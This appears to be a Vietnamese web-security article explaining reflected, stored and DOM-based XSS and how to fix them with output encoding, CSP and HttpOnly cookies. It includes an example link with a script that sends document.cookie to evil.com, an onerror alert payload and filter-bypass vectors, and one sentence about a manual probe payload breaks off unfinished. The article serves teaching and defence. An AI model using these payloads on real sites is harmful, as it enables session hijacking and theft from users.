arrow_backQuay lại ghi chép lĩnh vực
WEB SECURITY Đã đăng 9 Aug 2026

Cross-Site Scripting: Tại sao XSS vẫn nguy hiểm trong năm 2024

Phân tích chi tiết về reflected XSS, stored XSS, và DOM-based XSS, cách các attacker khai thác chúng, và cách thực sự để dừng chúng lại.

XSS đã nằm trong OWASP Top 10 trong hai thập kỷ và nó vẫn là một trong những thứ đầu tiên một pentester kiểm tra. Bug này dễ giải thích nhưng khó để hoàn toàn đóng lại: một attacker làm cho JavaScript của họ chạy trong trình duyệt của nạn nhân dưới origin của site của bạn. Khi điều đó xảy ra, họ có thể đọc cookies, tạo requests giả mạo, hoặc chỉ viết lại trang phía trước người dùng.

Ba loại XSS

Reflected XSS là cuộc tấn công phishing link cổ điển. Một trang tìm kiếm lấy ?q= từ URL và in nó trực tiếp vào HTML mà không mã hóa. Gửi cho ai đó một link như https://shop.example/search?q=<script>fetch('https://evil.com/steal?c='+document.cookie)</script> và nếu họ click nó khi đã đăng nhập, session cookie của họ sẽ đến attacker.

Stored XSS tồi tệ hơn vì nó không cần một link nào cả. Một comment field, một profile bio, một mô tả support ticket — bất kỳ nơi nào dữ liệu người dùng nhập được lưu và sau đó render cho những người dùng khác. Đăng payload một lần và mỗi visitor xem trang đó sẽ bị hit, không cần social engineering nào.

DOM-based XSS tồn tại hoàn toàn trong mã client-side. Server không bao giờ thấy payload độc hại; nó là JavaScript đọc một cái gì đó như location.hash hoặc document.referrer và nhét nó vào innerHTML hoặc eval(). Cái này làm bối rối mọi người vì server-side logging trông hoàn toàn sạch.

Nó thực sự từ đâu

Hầu hết XSS bugs đều xuất phát từ một sai lầm: coi dữ liệu không tin tưởng như markup hoặc code tin tưởng. Các sink phổ biến để theo dõi trong JavaScript: innerHTML, outerHTML, document.write, eval, setTimeout với string argument, và jQuery's .html(). Ở phía server, các template engine không auto-escape theo mặc định (raw string concatenation vào HTML) thường là thủ phạm.

Một ví dụ thực tế nhanh: một app Node/Express làm

app.get('/greet', (req, res) => {
  res.send(`<h1>Hello ${req.query.name}</h1>`);
});

có một reflected XSS ngay lập tức. req.query.name đi thẳng vào response mà không mã hóa gì. Ai hit /greet?name=<img src=x onerror=alert(document.domain)> chứng minh nó trong khoảng hai giây.

Sửa nó một cách thực sự

Context-aware output encoding là cách fix thực sự, không phải một workaround. HTML body, HTML attribute, JavaScript string, và URL contexts mỗi cái cần các quy tắc mã hóa khác nhau — một thư viện như OWASP's Java Encoder, hoặc auto-escaping tích hợp trong các template engine như Jinja2, React JSX, hoặc Handlebars, xử lý nó một cách chính xác. React đặc biệt escape text content theo mặc định, đó là lý do dangerouslySetInnerHTML được đặt tên như vậy: nó là một nhãn cảnh báo.

Input validation giúp nhưng không đủ tự nó. Denylisting <script> tags bị bypass liên tục — <img src=x onerror=...>, <svg onload=...>, hoặc event handlers trên hầu như bất kỳ tag nào đều hoạt động. Allowlisting các format dự kiến (một email regex, một numeric ID) tốt như một lớp thứ cấp, nhưng nó không thay thế proper output encoding.

Content-Security-Policy là lớp defense-in-depth mạnh mẽ nhất có sẵn. Một policy như

Content-Security-Policy: script-src 'self' 'nonce-r4nd0m123'; object-src 'none'; base-uri 'self';

blocks inline scripts và third-party script sources trừ khi được explicitly nonce'd hoặc allowlisted, điều này dừng hầu hết XSS payloads khỏi thực thi ngay cả khi chúng slip past encoding. Tránh unsafe-inlineunsafe-eval trong production CSPs; chúng làm mất đi phần lớn bảo vệ.

Set cookies với HttpOnlySecure flags để một successful XSS thậm chí cũng không thể đọc session cookie trực tiếp thông qua document.cookie. Nó không dừng injection nhưng nó giới hạn blast radius đáng kể.

Kiểm tra nó chính bạn

Burp Suite's active scanner bắt được rất nhiều reflected và stored XSS tự động, nhưng manual testing vẫn quan trọng cho các trường hợp DOM-based. Các tools như DOMPurify's own test suite hoặc đơn giản là grepping codebase của bạn cho innerHTML =eval( sẽ bề mặt một số lượng findings đáng ngạc nhiên nhanh. Để một manual probe, payload

Viết với hỗ trợ của AI, được xem xét và đăng bởi Michal Pilch (CISSP), Korra Studio.

Sẵn sàng đi xa hơn?

Đây là một ghi chép từ cơ sở kiến thức Korra Studio — nền tảng kết hợp mỗi chủ đề với phiên hỗ trợ 1-kèm-1.

Bắt đầu miễn phíarrow_forward